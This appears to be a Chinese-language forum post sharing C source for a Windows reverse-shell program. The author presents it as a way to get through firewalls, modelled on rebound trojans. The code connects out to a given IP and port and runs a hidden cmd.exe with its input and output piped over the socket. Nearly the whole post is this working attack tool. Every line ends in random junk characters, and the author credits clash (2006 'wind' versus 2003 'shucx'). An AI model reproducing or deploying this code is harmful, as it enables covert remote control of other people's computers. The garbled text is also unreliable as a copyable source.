这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oQiRjDLx
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/* ============================== BUs={"Pa
Rebound port in Windows NT kBeYl+*pk
By wind,2006/7 Y@y"bjK \
===============================*/ /(u# D[
#include k>)Uyw$!
#include J kxsua
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#pragma comment(lib,"wsock32.lib") z -c1,GOD
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void OutputShell(); {ePtZyo0
SOCKET sClient; ZOBcV,K
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ipe8U1Sc
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void main(int argc,char **argv) '
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{ nv<t$r
WSADATA stWsaData; A2.GNk
int nRet; ~s{
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SOCKADDR_IN stSaiClient,stSaiServer; w9w=2 *
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if(argc != 3) ` 7P%muY.
{ 9e*o$)j_
printf("Useage:\n\rRebound DestIP DestPort\n"); m-2!r*(zt
return; nX_w F`n"
} %x-`Y[
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WSAStartup(MAKEWORD(2,2),&stWsaData); 34,'smH i%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6rMXv0)
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stSaiClient.sin_family = AF_INET; Ay6]vU
stSaiClient.sin_port = htons(0); {.])'~[U
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =o:1Rc7J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fuU
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{ Z*+y?5+L"P
printf("Bind Socket Failed!\n"); Z<iK(?@O
return; .L~
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} dsn(h5,Q'
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stSaiServer.sin_family = AF_INET; SyI\ulmL
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); QM24cm
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?PYZW5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T/PmT:Qg`
{ ?3%r:g4
printf("Connect Error!"); OFxCV`>ce
return; j>?`N^
} PLJDRp 2o
OutputShell(); \S_Ae;
} = q(?ALGc
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void OutputShell() 1QPz|3f@\
{ Ga_Pt8L6
char szBuff[1024]; 8,IQ6Or|-2
SECURITY_ATTRIBUTES stSecurityAttributes; ]XASim:A
OSVERSIONINFO stOsversionInfo; 'YJ~~o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CXBFR>"
STARTUPINFO stStartupInfo; h[;DRD!Z
char *szShell; )KY4BBc
PROCESS_INFORMATION stProcessInformation; t`Rbn{
unsigned long lBytesRead; `GSl}A
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h$#PboLd
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UIkO_/}
stSecurityAttributes.lpSecurityDescriptor = 0; *a^wYWa
stSecurityAttributes.bInheritHandle = TRUE; <KJ|U0/jGd
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/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #iQF)x| D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'h@&rr@5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nt;1&dwUb
stStartupInfo.wShowWindow = SW_HIDE; (f2r4Io|}
stStartupInfo.hStdInput = hReadPipe; _F(Np\%_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^E_chx-e}
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GetVersionEx(&stOsversionInfo); [ahwJ F#r
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switch(stOsversionInfo.dwPlatformId) 9 I:3
{ N,Js8Z"
case 1: G?, "AA;
szShell = "command.com"; !*3]PZ25a(
break; H|$
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default: b%KcS&-6
szShell = "cmd.exe"; oWx^_wQ-=
break; If]rg+|U
} .mNw^>:cq
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;<*USS6X
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send(sClient,szMsg,77,0); 0e07pF/!
while(1) IEd?-L
{ 8;"9A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H]W'mm
if(lBytesRead) Ct^=j@g
{ )H`V\H[0P
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %Eugy
send(sClient,szBuff,lBytesRead,0); ;n.h !wmJ}
} G^cMY$?99
else /;TtMQt
{ cNikLd~?A
lBytesRead=recv(sClient,szBuff,1024,0); >5E1y!
if(lBytesRead<=0) break; ;W|GUmADf
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R!
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} HRJ\H-
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} #k1IrqUp
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return; N`{6<Z0
}